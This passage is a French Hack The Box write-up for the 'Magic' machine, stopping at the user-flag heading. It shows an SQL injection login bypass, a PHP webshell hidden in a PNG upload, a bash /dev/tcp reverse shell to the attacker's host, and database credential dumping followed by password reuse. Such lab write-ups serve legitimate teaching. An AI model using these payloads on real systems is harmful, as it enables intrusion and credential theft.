Introduction

La machine Magic de Hack The Box, classée HTB Medium, propose une chaîne d’exploitation progressive mêlant vulnérabilité web, réutilisation d’identifiants et détournement de commandes système.

La prise de pied commence par le contournement d’un formulaire d’authentification vulnérable à une injection SQL. L’accès obtenu permet ensuite d’exploiter une fonctionnalité d’envoi d’images dont les contrôles peuvent être contournés afin de déposer un fichier contenant du code PHP. Son exécution depuis le serveur web conduit à l’obtention d’un reverse shell sous l’identité de www-data.

L’analyse des fichiers de l’application révèle des identifiants permettant d’interroger la base de données. Son contenu expose alors un mot de passe réutilisable pour accéder au compte local theseus. Enfin, l’escalade de privilèges repose sur un binaire SUID qui exécute plusieurs commandes système sans utiliser leur chemin absolu. Un détournement de la variable PATH permet alors de faire exécuter une commande contrôlée avec les privilèges de root.

Ce writeup détaille ainsi une compromission complète mêlant injection SQL, contournement des contrôles d’upload, recherche d’identifiants, réutilisation de mot de passe et détournement de PATH.


Énumération

Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.

Concrètement, l’objectif de cette phase d’énumération est d’identifier :

  • quels ports sont ouverts
  • quels services sont accessibles
  • si une application web est présente
  • quels répertoires sont exposés
  • si des sous-domaines ou vhosts peuvent être exploités

Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :

  • mon-nmap : identifie les ports ouverts et les services en écoute
  • mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
  • mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts

Tu retrouves ces outils dans la section Outils / Mes scripts.

Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.

Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :

/usr/share/wordlists/htb-dns-vh-5000.txt


Avant de lancer les scans, vérifie que le nom d’hôte magic.htb résout correctement vers l’adresse IP de la cible.

Sur HTB, cela passe généralement par une entrée dans /etc/hosts.

  • Ajoute l’entrée 10.129.x.x magic.htb dans /etc/hosts.
sudo nano /etc/hosts
  • Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap magic.htb

# Résultats dans le répertoire scans_nmap/
#  - scans_nmap/full_tcp_scan.txt
#  - scans_nmap/enum_ftp_smb_scan.txt
#  - scans_nmap/aggressive_vuln_scan.txt
#  - scans_nmap/cms_vuln_scan.txt
#  - scans_nmap/udp_vuln_scan.txt

Scan initial

Le scan TCP complet (scans_nmap/magic/full_tcp_scan.txt) montre les ports ouverts suivants :

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/magic/full_tcp_scan.txt magic.htb
Nmap scan report for magic.htb (10.129.x.x)
Host is up (0.037s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at [date] -- 1 IP address (1 host up) scanned in 6.80 seconds

Scan FTP/SMB

Après le scan initial, le script vérifie la présence éventuelle de services FTP ou SMB afin de lancer une énumération ciblée si nécessaire :

  • FTP sur le port 21
  • SMB sur le port 139 et/ou 445

Les résultats sont enregistrés dans (scans_nmap/magic/enum_ftp_smb_scan.txt) :

# mon-nmap — ENUM FTP / SMB
# Target : magic.htb
# Date   : [date]

Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80

Scan agressif

Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.

Ce scan fournit des informations détaillées sur les services et versions détectés.

Les résultats sont enregistrés dans (scans_nmap/magic/aggressive_vuln_scan.txt) :

[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour magic.htb
[+] Commande utilisée :
    nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "magic.htb"

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/magic/aggressive_vuln_scan_raw.txt magic.htb
Nmap scan report for magic.htb (10.129.x.x)
Host is up (0.016s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   14.57 ms 10.10.x.1
2   8.05 ms  magic.htb (10.129.x.x)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 14.55 seconds

Scan ciblé CMS

Le script exécute ensuite un scan ciblé CMS (scans_nmap/magic/cms_vuln_scan.txt).

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/magic/cms_vuln_scan.txt magic.htb
Nmap scan report for magic.htb (10.129.x.x)
Host is up (0.013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-headers: 
|   Date: [date]
|   Server: Apache/2.4.29 (Ubuntu)
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; php: 1
|     /assets/css/
|       css: 2
|     /assets/js/
|       js: 6
|     /images/fulls/
|       jpeg: 1; jpg: 4
|     /images/uploads/
|       gif: 1; jpg: 3; png: 1
|   Longest directory structure:
|     Depth: 2
|     Dir: /assets/css/
|   Total files found (by extension):
|_    Other: 1; css: 2; gif: 1; jpeg: 1; jpg: 7; js: 6; php: 1; png: 1
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-enum: 
|_  /login.php: Possible admin folder
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 17.11 seconds

Scan UDP rapide

Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/magic/udp_vuln_scan.txt).

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/magic/udp_vuln_scan.txt magic.htb
Nmap scan report for magic.htb (10.129.x.x)
Host is up (0.012s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   open|filtered ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  closed        ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp closed        unknown

# Nmap done at [date] -- 1 IP address (1 host up) scanned in 8.21 seconds

Énumération des chemins web

Pour la découverte des chemins web, tu peux utiliser le script dédié mon-recoweb

mon-recoweb magic.htb --fs 274

# Résultats dans le répertoire scans_recoweb/
#  - scans_recoweb/RESULTS_SUMMARY.txt     ← vue d’ensemble des découvertes
#  - scans_recoweb/dirb.log
#  - scans_recoweb/dirb_hits.txt
#  - scans_recoweb/ffuf_dirs.txt
#  - scans_recoweb/ffuf_dirs_hits.txt
#  - scans_recoweb/ffuf_files.txt
#  - scans_recoweb/ffuf_files_hits.txt
#  - scans_recoweb/ffuf_dirs.json
#  - scans_recoweb/ffuf_files.json

Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, ce qui évite de devoir parcourir l’ensemble des logs générés.

===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script              : mon-recoweb v2.2.3

Cible        : magic.htb
Périmètre    : /
Date début   : [date]

Commandes exécutées (exactes) :

[dirb — découverte initiale]
dirb http://magic.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/magic.htb/dirb.log

[ffuf — énumération des répertoires]
ffuf -u http://magic.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -fs 274 -of json -o scans_recoweb/magic.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/magic.htb/ffuf_dirs.log

[ffuf — énumération des fichiers]
ffuf -u http://magic.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -fs 274 -of json -o scans_recoweb/magic.htb/ffuf_files.json 2>&1 | tee scans_recoweb/magic.htb/ffuf_files.log

Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
    http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
    • répertoires (/chemin/)
    • fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
  garantissant la reproductibilité complète du scan.

----------------------------------------------------

=== Résultat global (agrégé) ===

http://magic.htb/assets/
http://magic.htb/assets/ (CODE:301|SIZE:307)
http://magic.htb/. (CODE:200|SIZE:4051)
http://magic.htb/images/
http://magic.htb/images/ (CODE:301|SIZE:307)
http://magic.htb/index.php (CODE:200|SIZE:4051)
http://magic.htb/index.php (CODE:200|SIZE:4053)
http://magic.htb/login.php (CODE:200|SIZE:4221)
http://magic.htb/logout.php (CODE:302|SIZE:0)
http://magic.htb/server-status (CODE:403|SIZE:274)
http://magic.htb/upload.php (CODE:302|SIZE:2957)

=== Détails par outil ===

[DIRB]
http://magic.htb/assets/
http://magic.htb/images/
http://magic.htb/index.php (CODE:200|SIZE:4053)
http://magic.htb/server-status (CODE:403|SIZE:274)

[FFUF — DIRECTORIES]
http://magic.htb/assets/ (CODE:301|SIZE:307)
http://magic.htb/images/ (CODE:301|SIZE:307)

[FFUF — FILES]
http://magic.htb/. (CODE:200|SIZE:4051)
http://magic.htb/index.php (CODE:200|SIZE:4051)
http://magic.htb/login.php (CODE:200|SIZE:4221)
http://magic.htb/logout.php (CODE:302|SIZE:0)
http://magic.htb/upload.php (CODE:302|SIZE:2957)

Recherche de vhosts

Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains .

mon-subdomains magic.htb

=== mon-subdomains magic.htb START ===
Script       : mon-subdomains
Version      : mon-subdomains 2.0.1
Date         : [date]
Domaine      : magic.htb
IP           : 10.129.x.x
Mode         : large
Master       : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes        : 200,301,302,401,403  (strict=1)

VHOST totaux : 0
  - (aucun)

--- Détails par port ---
Port 80 (http)
  Baseline#1: code=200 size=4053 words=207 (Host=sz8lc1zow5.magic.htb)
  Baseline#2: code=200 size=4053 words=207 (Host=dv366unpqe.magic.htb)
  Baseline#3: code=200 size=4052 words=207 (Host=y7ax30z2pn.magic.htb)
  VHOST (0)
    - (fuzzing sauté : wildcard probable)
    - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant)



=== mon-subdomains magic.htb END ===

Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.

Prise pied

La page d’accueil de Magic présente une galerie d’images déjà envoyées sur le site. L’application propose donc une fonctionnalité d’envoi d’images, mais celle-ci n’est pas directement accessible depuis la page principale.

Page d’accueil de Magic

En bas à gauche de la page, un lien discret indique :

Please Login, to upload images.

Cet élément est important : il t’apprend que la fonctionnalité d’envoi d’images existe bien, mais qu’elle est réservée aux utilisateurs authentifiés.

L’étape suivante consiste donc à ouvrir la page de connexion afin d’identifier le mécanisme qui protège cette fonctionnalité.

Formulaire de connexion de Magic

Le formulaire est très simple. Il ne contient que deux champs :

Username
Password

Tu as donc une application qui expose une fonctionnalité intéressante, l’upload d’images, mais qui impose d’abord une authentification.

La suite de la prise de pied consiste à étudier ce formulaire de connexion pour tenter d’accéder à cette zone protégée.

Contournement de l’authentification par injection SQL

Comme tu ne disposes d’aucun identifiant valide, tu peux commencer par tester quelques couples classiques de connexion.

Par exemple :

admin:admin
admin:password
root:root
test:test

Ces tentatives ne permettent pas de te connecter. L’application reste sur le formulaire de connexion et affiche un message d’échec.

Message d’échec de connexion sur Magic

Tu peux ensuite faire un test simple dans le champ username en saisissant uniquement une apostrophe :

'

Ce test ne provoque pas de message d’erreur visible, mais il reste intéressant. Sur un formulaire de connexion, l’apostrophe est un caractère particulier, car elle peut perturber une requête SQL mal protégée. Même sans erreur affichée, ce type de test te met donc sur la piste d’une possible injection SQL.

Pour rester méthodique, tu peux alors t’appuyer sur une liste publique de payloads classiques de contournement d’authentification par injection SQL, comme la cheat sheet publiée par Penetration Testing Lab :

SQL Injection Authentication Bypass Cheat Sheet

Tu testes ensuite les payloads un par un dans le champ username, en laissant le champ password vide ou avec une valeur quelconque.

Dans ce cas, le premier payload qui fonctionne est :

admin' #
Injection SQL admin commentée dans le formulaire de connexion Magic

Après validation du formulaire avec ce payload, l’application ne réagit plus comme lors d’un mauvais mot de passe. Cette fois, l’authentification est contournée et tu accèdes à la zone d’upload d’images.

Zone d’upload après contournement de l’authentification

La chaîne commence donc par une injection SQL sur le formulaire de connexion :

Injection SQL sur le formulaire de connexion → contournement de l’authentification → accès à la zone d’upload

Transformation de l’upload en exécution de commandes

À première vue, cette fonctionnalité sert simplement à envoyer une image sur le site. Mais dans une application web, un upload de fichier est toujours un point sensible : si le serveur accepte un fichier contenant du code, et si ce fichier est ensuite interprété par le serveur, l’upload peut devenir un moyen d’exécuter des commandes.

L’objectif est donc de vérifier si tu peux envoyer une image contenant du code PHP.

Première tentative : envoyer un faux PNG contenant du PHP

Pour ce premier test, le contenu PHP reste volontairement minimal :

<?php system($_GET['cmd']); ?>

Ce code permet de transformer le fichier uploadé en petit webshell.

Le principe est le suivant : la fonction PHP system() exécute une commande système côté serveur. Ici, la commande à exécuter est récupérée depuis le paramètre cmd présent dans l’URL.

Par exemple, si le fichier est accessible et interprété comme du PHP, une URL de ce type :

http://magic.htb/images/uploads/shell.php.png?cmd=id

doit exécuter la commande suivante sur la machine cible :

id

Ce test est pratique, car la commande id est simple, non destructive, et te permet immédiatement de savoir sous quel utilisateur le serveur web exécute les commandes.

Une première idée consiste donc à créer un fichier avec une double extension :

shell.php.png

L’idée est simple :

.php  → pour tenter de faire interpréter le fichier comme du PHP
.png  → pour essayer de le faire accepter comme une image

Tu tentes ensuite d’envoyer ce fichier depuis le formulaire d’upload.

Tentative d’upload d’un fichier shell.php.png sur Magic

Cette première tentative échoue. L’application affiche le message explicite suivant :

Message de refus lors de l’upload du fichier shell.php.png

Cela signifie que l’application détecte que le fichier envoyé n’est pas une image valide, ou qu’il ne respecte pas les contrôles attendus par le formulaire.

Cette étape est intéressante, car elle te montre que le contournement ne se limite pas à renommer un fichier PHP en .png. Le serveur applique au moins une vérification supplémentaire.

Il faut donc préparer un fichier qui ressemble davantage à une vraie image, tout en contenant le code PHP minimal présenté plus haut.

Deuxième tentative : ajouter le PHP à une vraie image PNG

Pour contourner ce contrôle, tu peux repartir d’une vraie image PNG existante, puis lui ajouter le code PHP minimal.

L’idée est de conserver un fichier qui ressemble vraiment à une image pour les contrôles de l’application, tout en ajoutant du PHP à l’intérieur du fichier.

Sur Kali, un fichier pratique pour ce test est le logo Debian, généralement disponible ici :

/usr/share/pixmaps/debian-logo.png

Tu peux vérifier qu’il s’agit bien d’une image PNG avec la commande file :

file /usr/share/pixmaps/debian-logo.png

La sortie doit indiquer un fichier de type PNG :

/usr/share/pixmaps/debian-logo.png: PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced

Tu copies ensuite cette image dans ton répertoire de travail :

cp /usr/share/pixmaps/debian-logo.png debian-logo.php.png

Puis tu ajoutes le code PHP minimal à la fin du fichier :

cat >> debian-logo.php.png << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

Tu obtiens alors un fichier qui reste basé sur une vraie image PNG, mais qui contient aussi ton code PHP.

Tu peux vérifier le résultat avec file :

file debian-logo.php.png

Le point intéressant est que le fichier est toujours reconnu comme une image PNG :

debian-logo.php.png: PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced

Tu peux maintenant retenter l’upload de ce nouveau fichier debian-logo.php.png.

Un message affiché en haut à gauche confirme la réussite de l’upload.

Confirmation de l’upload du fichier debian-logo.php.png sur Magic

L’étape suivante consiste à appeler le fichier uploadé dans /images/uploads/ avec le paramètre cmd, afin de vérifier si le code PHP ajouté est bien interprété par le serveur.

Vérification de l’exécution de commandes

Après l’upload du fichier debian-logo.php.png, tu testes si le code PHP ajouté à l’image est bien interprété par le serveur.

Pour cela, tu appelles le fichier avec le paramètre cmd=id :

http://magic.htb/images/uploads/debian-logo.php.png?cmd=id

La page affiche le contenu brut de l’image, mais on voit aussi le résultat de la commande id à la fin de la réponse :

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exécution de la commande id depuis le fichier debian-logo.php.png

Cette sortie confirme que le PHP ajouté à l’image est bien exécuté côté serveur.

Tu as donc obtenu une exécution de commandes avec le contexte du serveur web, c’est-à-dire l’utilisateur www-data.

À ce stade, tu ne disposes pas encore d’un shell interactif, mais tu as un webshell fonctionnel. Il suffit de modifier la valeur du paramètre cmd pour exécuter d’autres commandes.

Obtention d’un reverse shell

Le webshell fonctionne : tu peux exécuter une commande en passant sa valeur dans le paramètre cmd.

Par exemple :

http://magic.htb/images/uploads/debian-logo.php.png?cmd=id

C’est suffisant pour confirmer l’exécution de commandes, mais ce n’est pas très pratique pour continuer l’énumération. Chaque commande doit être passée dans l’URL, ce qui devient vite pénible.

L’étape suivante consiste donc à obtenir un reverse shell vers Kali.

Sur Kali, tu commences par ouvrir un port en écoute.

Tu pourrais utiliser simplement nc :

nc -lvnp 4444

Pour plus de confort, tu peux lancer nc avec rlwrap :

rlwrap -cAr nc -lvnp 4444

Ensuite, depuis le webshell, tu fais exécuter à la cible une commande qui va initier une connexion vers ta machine Kali.

Le payload Bash utilisé est le suivant :

bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'

Le point important ici est l’utilisation de bash -c.

Cette partie force la cible à exécuter la commande avec Bash :

bash -c '...'

C’est important, car la redirection /dev/tcp/10.10.x.x/4444 est une fonctionnalité interprétée par Bash. Si la commande est exécutée par un autre shell, elle peut échouer.

La commande complète signifie donc, de manière simplifiée :

ouvre un shell interactif Bash
et connecte-le vers Kali sur le port 4444

Comme cette commande doit être envoyée dans une URL, certains caractères spéciaux doivent être encodés. Dans le navigateur, l’URL appelée ressemble à ceci :

http://magic.htb/images/uploads/debian-logo.php.png?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.x.x/4444%200%3E%261%27

Une fois l’URL appelée, une connexion arrive sur le listener ouvert sur Kali.

Listening on 0.0.0.0 4444
Connection received on 10.129.x.x 37936
bash: cannot set terminal process group (1119): Inappropriate ioctl for device
bash: no job control in this shell

Tu obtiens alors un shell distant sur la machine cible.

Tu peux vérifier le contexte avec :

id

La sortie confirme que le shell est exécuté avec l’utilisateur du serveur web :

uid=33(www-data) gid=33(www-data) groups=33(www-data)

À ce stade, tu as quitté le simple webshell dans l’URL. Tu disposes maintenant d’un reverse shell en tant que www-data, ce qui va rendre l’énumération locale beaucoup plus confortable.

Stabilisation du shell

Le reverse shell obtenu fonctionne, mais il reste basique. Pour rendre l’interaction plus confortable, tu peux le stabiliser avec la méthode classique.

Cette étape est détaillée dans la recette dédiée : « Stabiliser un Reverse Shell Bash » .

Dans le shell distant, tu commences par obtenir un pseudo-terminal avec Python :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ensuite, côté Kali, tu suspends le shell avec Ctrl+Z, puis tu configures le terminal local :

stty raw -echo; fg

Après le retour dans le shell distant, tu termines la stabilisation :

export TERM=xterm
stty rows 40 columns 120

À partir de ce moment, ton shell devient plus agréable à utiliser : l’affichage est meilleur, les commandes interactives fonctionnent mieux, et tu peux poursuivre l’énumération locale dans de meilleures conditions.

Exploration de l’environnement

Le reverse shell obtenu s’exécute avec l’utilisateur www-data. Avant de chercher directement une escalade de privilèges, tu peux commencer par explorer rapidement l’environnement local.

Un premier réflexe simple consiste à regarder les répertoires présents dans /home :

ls -la /home

La sortie montre qu’un seul utilisateur local semble présent :

total 12
drwxr-xr-x  3 root    root    4096 Jul  6  2021 .
drwxr-xr-x 24 root    root    4096 Jul  6  2021 ..
drwxr-xr-x 15 theseus theseus 4096 Jul 12  2021 theseus

Le compte utilisateur intéressant est donc :

theseus

Tu peux ensuite regarder le contenu du répertoire de cet utilisateur :

ls -la /home/theseus

La sortie montre un répertoire personnel complet pour theseus, avec un environnement classique de session Linux :

total 80
drwxr-xr-x 15 theseus theseus 4096 Jul 12  2021 .
drwxr-xr-x  3 root    root    4096 Jul  6  2021 ..
-rw-------  1 theseus theseus  636 Jul 12  2021 .ICEauthority
lrwxrwxrwx  1 theseus theseus    9 Oct 21  2019 .bash_history -> /dev/null
-rw-r--r--  1 theseus theseus  220 Oct 15  2019 .bash_logout
-rw-r--r--  1 theseus theseus   15 Oct 21  2019 .bash_profile
-rw-r--r--  1 theseus theseus 3771 Oct 15  2019 .bashrc
drwxrwxr-x 13 theseus theseus 4096 Jul  6  2021 .cache
drwx------ 13 theseus theseus 4096 Jul  6  2021 .config
drwx------  3 theseus theseus 4096 Jul  6  2021 .gnupg
drwx------  3 theseus theseus 4096 Jul  6  2021 .local
drwx------  2 theseus theseus 4096 Jul  6  2021 .ssh
drwxr-xr-x  2 theseus theseus 4096 Jul  6  2021 Desktop
drwxr-xr-x  2 theseus theseus 4096 Jul  6  2021 Documents
drwxr-xr-x  2 theseus theseus 4096 Jul  6  2021 Downloads
drwxr-xr-x  2 theseus theseus 4096 Jul  6  2021 Music
drwxr-xr-x  2 theseus theseus 4096 Jul  6  2021 Pictures
drwxr-xr-x  2 theseus theseus 4096 Jul  6  2021 Public
drwxr-xr-x  2 theseus theseus 4096 Jul  6  2021 Templates
drwxr-xr-x  2 theseus theseus 4096 Jul  6  2021 Videos
-r--------  1 theseus theseus   33 Jul  8 08:42 user.txt

Deux éléments sont intéressants.

Le fichier user.txt est bien présent dans le répertoire de theseus, mais ses permissions sont restrictives :

-r-------- 1 theseus theseus user.txt

Cela signifie que seul l’utilisateur theseus peut le lire. Depuis le shell actuel, tu ne peux donc pas récupérer directement le flag utilisateur.

Le répertoire .ssh existe également, mais il est protégé :

drwx------ 2 theseus theseus .ssh

Là encore, www-data ne peut pas simplement y entrer pour récupérer une éventuelle clé SSH.

Cette vérification confirme donc l’objectif de la suite : il faut trouver un moyen de passer de www-data à l’utilisateur theseus.

Comme l’application web est une application PHP hébergée dans /var/www, tu peux ensuite chercher des fichiers de configuration ou des fichiers liés à la base de données.

Cette recherche est assez générique dans un environnement PHP. Dans beaucoup d’applications, les fichiers contenant config, db ou database dans leur nom servent à stocker des paramètres importants : connexion MySQL, nom de la base, utilisateurs, mots de passe ou hôtes.

Tu peux donc lancer une recherche ciblée dans /var/www :

find /var/www -type f \( -iname "*config*" -o -iname "*db*" -o -iname "*database*" \) 2>/dev/null

La commande retourne un fichier intéressant :

/var/www/Magic/db.php5

Comme ce fichier appartient à l’application web et qu’il semble lié à la base de données, tu peux tenter de le lire :

cat /var/www/Magic/db.php5

Résultat :

<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }

    public static function connect()
    {
        // One connection through whole application
        if ( null == self::$cont )
        {
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
            catch(PDOException $e)
            {
                die($e->getMessage());
            }
        }
        return self::$cont;
    }

    public static function disconnect()
    {
        self::$cont = null;
    }
}

Le fichier contient les informations utilisées par l’application pour se connecter à MySQL :

base de données : Magic
hôte            : localhost
utilisateur     : theseus
mot de passe    : iamkingtheseus

Ces informations te donnent un accès probable à la base MySQL locale Magic avec le compte suivant :

theseus:iamkingtheseus

Comme l’utilisateur local theseus existe sur la machine, tu pourrais être tenté de tester directement ces identifiants en SSH depuis Kali :

ssh theseus@magic.htb

Avec le mot de passe :

iamkingtheseus

La tentative échoue cependant avec le message suivant :

theseus@magic.htb: Permission denied (publickey).

Ce message indique que le serveur SSH attend une authentification par clé publique. L’authentification par mot de passe n’est donc pas utilisable ici pour tester directement le mot de passe trouvé dans db.php5.

Les identifiants trouvés dans db.php5 restent toutefois une piste intéressante. Comme ils apparaissent dans le fichier de connexion de l’application, ils peuvent probablement permettre d’interroger la base MySQL locale.

La suite consiste donc à tester cet accès et à explorer la base de données Magic.

Exploration de la base MySQL Magic

Normalement, tu pourrais utiliser le client mysql pour te connecter à la base de données de manière interactive :

mysql -u theseus -p

Mais la commande n’est pas disponible sur la machine cible.

Pour ne pas s’arrêter là, tu peux chercher les autres outils MySQL présents dans les répertoires classiques des exécutables Linux : /usr/bin, /usr/sbin, /bin et /sbin.

find /usr/bin /usr/sbin /bin /sbin -iname "*mysql*" 2>/dev/null

Cette recherche permet d’identifier notamment mysqlshow et mysqldump.

/usr/bin/mysqloptimize
/usr/bin/mysqldump
/usr/bin/mysqladmin
/usr/bin/mysqlshow
/usr/bin/mysqld_safe
/usr/bin/mysqlbinlog
/usr/bin/mysqldumpslow
/usr/bin/mysqlcheck
/usr/bin/mysql_ssl_rsa_setup
/usr/bin/mysqlimport
/usr/bin/mysql_tzinfo_to_sql
/usr/bin/mysql_upgrade
/usr/bin/mysqlslap
/usr/bin/mysql_secure_installation
/usr/bin/mysqlrepair
/usr/bin/mysqlanalyze
/usr/bin/mysql_config_editor
/usr/bin/mysqld_multi
/usr/bin/mysql_plugin
/usr/bin/mysql_embedded
/usr/bin/mysql_install_db
/usr/bin/mysqlpump
/usr/bin/mysqlreport
/usr/sbin/mysqld

La différence est simple :

mysql      → client interactif classique
mysqlshow  → outil pour lister les bases et les tables
mysqldump  → outil pour exporter le contenu d’une base ou d’une table

Même sans le client interactif mysql, tu peux donc continuer l’énumération avec mysqlshow, puis lire le contenu intéressant avec mysqldump.

Tu peux d’abord vérifier l’accès à la base Magic et afficher les tables qu’elle contient avec mysqlshow :

mysqlshow -u theseus -piamkingtheseus Magic

Résultat :

mysqlshow: [Warning] Using a password on the command line interface can be insecure.
Database: Magic
+--------+
| Tables |
+--------+
| login  |
+--------+

La commande confirme l’accès à la base et affiche les tables disponibles. Une seule table apparaît

login

Son nom suggère qu’elle peut contenir les identifiants utilisés par le formulaire de connexion de l’application.

Tu peux alors afficher le contenu de cette table avec mysqldump :

mysqldump -u theseus -piamkingtheseus Magic login

Le dump révèle une entrée intéressante :

INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');

Tu récupères donc un autre mot de passe :

Th3s3usW4sK1ng

Cette fois, le mot de passe n’est pas celui du fichier de configuration MySQL. Il provient de la table login de l’application.

Comme le compte local theseus existe sur la machine, la prochaine étape logique consiste à tester une réutilisation de ce mot de passe avec l’utilisateur Linux theseus.

Réutilisation du mot de passe pour devenir theseus

Plus tôt dans l’énumération, tu as déjà constaté que l’accès SSH à theseus demande une authentification par clé publique :

theseus@magic.htb: Permission denied (publickey).

Le mot de passe trouvé dans la base de données ne peut donc pas être testé directement avec SSH.

Il faut donc continuer depuis le reverse shell obtenu en tant que www-data.

Depuis ce shell, tu peux tenter d’ouvrir une session sous l’identité de theseus avec su :

su - theseus

Lorsque le mot de passe est demandé, tu fournis celui récupéré dans la base de données :

Th3s3usW4sK1ng

Cette fois, le changement d’utilisateur fonctionne. Tu passes donc du contexte web www-data au compte local theseus.

Tu peux confirmer ton identité avec :

id

La sortie confirme que tu es bien connecté en tant que theseus :

uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)

Lecture de user.txt

